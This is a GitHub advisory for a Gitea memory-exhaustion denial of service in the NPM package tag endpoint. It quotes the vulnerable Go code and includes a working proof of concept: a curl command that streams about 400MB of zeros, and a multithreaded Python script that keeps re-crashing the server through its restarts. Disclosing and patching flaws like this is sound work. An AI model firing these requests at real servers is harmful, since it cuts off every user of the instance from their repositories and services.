GitHub Advisoryadvisory · Go

GHSA-wwqq-x6w4-frm2 Gitea: Denial of Service via Unbounded io.ReadAll in NPM Package Tag Endpoint

MEDIUM Published 2026-07-21 Modified 2026-07-21 Official page ↗
Aliases
CVE-2026-42931
Ecosystem
Go
Packages
code.gitea.io/gitea
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-770
Reviewed
2026-07-21

Affected packages

• Go code.gitea.io/gitea: < 1.27.0 → fixed in 1.27.0

Description

Summary An unbounded `io.ReadAll(ctx.Req.Body)` call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts. Details The `AddPackageTag` function reads the entire HTTP request body into memory using `io.ReadAll()` with no size validation: ```go // routers/api/packages/npm/npm.go:332-341 func AddPackageTag(ctx *context.Context) { packageName := packageNameFromParams(ctx) body, err := io.ReadAll(ctx.Req.Body) // NO SIZE LIMIT if err != nil { apiError(ctx, http.StatusInternalServerError, err) return } version := strings.Trim(string(body), "\"") // ... } ``` This route is registered at `routers/api/packages/api.go:433`: ```go r.Group("/-/package/{id}/dist-tags", func() { // ... r.Group("/{tag}", func() { r.Put("", npm.AddPackageTag) // reqPackageAccess(perm.AccessModeWrite) r.Delete("", npm.DeletePackageTag) }) }) ``` Why this causes OOM and not just a slow request: In Go, `io.ReadAll()` reads into a `[]byte` that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable `runtime.throw("out of memory")` that kills the entire process, not just the goroutine handling the request. No server-side size limits apply to this endpoint: Gitea has per-type size limits (e.g., `LIMIT_SIZE_NPM`) defined in `modules/setting/packages.go`, but these are only enforced during `UploadPackage`, not in `AddPackageTag`. The `mustBytes()` function defaults all limits to `-1` (unlimited) when not explicitly configured: ```go // modules/setting/packages.go:96-101 func mustBytes(section ConfigSection, key string) int64 { const noLimit = "-1" value := section.Key(key).MustString(noLimit) // defaults to "-1" if value == noLimit { return -1 } ``` Even if an admin sets `LIMIT_SIZE_NPM`, it would not protect this endpoint. `AddPackageTag` never checks any size limit before calling `io.ReadAll()`. The Gitea HTTP server has no global request body size limit. The `HashedBuffer` used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. `AddPackageTag` reads the body directly via `io.ReadAll()`, bypassing all buffer protections: ```go // modules/packages/hashed_buffer.go:29-33 const DefaultMemorySize = 32 * 1024 * 1024 // 32MB, which is safe and spills to disk // but npm.go:336 bypasses this entirely: body, err := io.ReadAll(ctx.Req.Body) // reads everything into RAM, no limit ``` Access requirements: • The route requires `reqPackageAccess(perm.AccessModeWrite)` • Any user has write access to their own package namespace (`services/context/package.go:155-157`): ```go if doer.ID == pkgOwner.ID { accessMode = perm.AccessModeOwner } ``` • No NPM package needs to exist. The OOM occurs at line 336 before the package lookup at line 343: ```go body, err := io.ReadAll(ctx.Req.Body) // line 336; OOM happens here // ... pv, err := packages_model.GetVersionByNameAndVersion(...) // line 343, which is never reached ``` PoC Tested Environment: • Gitea instance (tested on v1.26.2 Docker, confirmed in source up to v1.27.0-dev) Prerequisites: Set up test environment ```yaml docker-compose.yml version: "3" services: gitea: image: gitea/gitea:latest container_name: gitea-dos-test environment: • GITEA__database__DB_TYPE=sqlite3 • GITEA__service__DISABLE_REGISTRATION=false ports: • "3000:3000" deploy: resources: limits: memory: 512M ``` ```bash docker compose up -d Complete initial setup in browser at http://localhost:3000 Register a user account (e.g., user1 / Password123!) ``` Step 1: Single request OOM crash ```bash Send ~80% of container memory to the AddPackageTag endpoint. The body is read entirely into memory via io.ReadAll(). For 512MB container: count=400 (~400MB) is enough. For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB). The package owner in the URL must match the authenticated user's username. dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \ -X PUT \ -H "Content-Type: application/json" \ --data-binary @- \ "http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \ --max-time 120 ``` Step 2: Verify server crash ```bash Check if server responds curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version Expected: connection refused (server is dead) ``` Step 3: Persistent DoS via concurrent requests (survives restart policies) ```python Even with restart: always, concurrent attacks re-kill on startup import threading, requests, itertools payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024) i = itertools.count(1) def worker(): s = requests.Session() while True: n = next(i) try: s.put( f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest", data=payload, auth=("user1", "A@12345678"), timeout=120 ) except Exception: pass for _ in range(20): threading.Thread(target=worker, daemon=True).start() __import__('signal').pause() ``` One 400MB upload triggers OOM kill https://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6 Crash loop after OOM with Docker restart policy https://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7 Observed result on Gitea 1.26.2: • Server logs: `Received signal 15; terminating.` • Container status: `Exited (0)` • Server remains down until manual restart • With `restart: always`, server restarts but can be immediately re-killed Impact Who is impacted: • All Gitea instances with the package registry enabled (enabled by default) • Any authenticated user can crash the server (No admin privileges required) • With self-registration enabled (default), an unauthenticated attacker can register an account and immediately crash the server • All users of the Gitea instance lose access to repositories, CI/CD, issues, and all hosted services Attack characteristics: • Single request is sufficient to crash the server • No special payload: raw zeros work (no compression tricks needed) • Persistent multiple requests can re-kill the server even after auto-restart • Minimal bandwidth: attacker sends ~80% of the server's available memory in a single request to crash it (e.g., ~400MB for a 512MB instance, ~1.6GB for a 2GB instance)

Related

Alias · CVE (1)

  • CVE-2026-42931 Denial of Service via Unbounded io.ReadAll in NPM Package Tag Endpoint vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References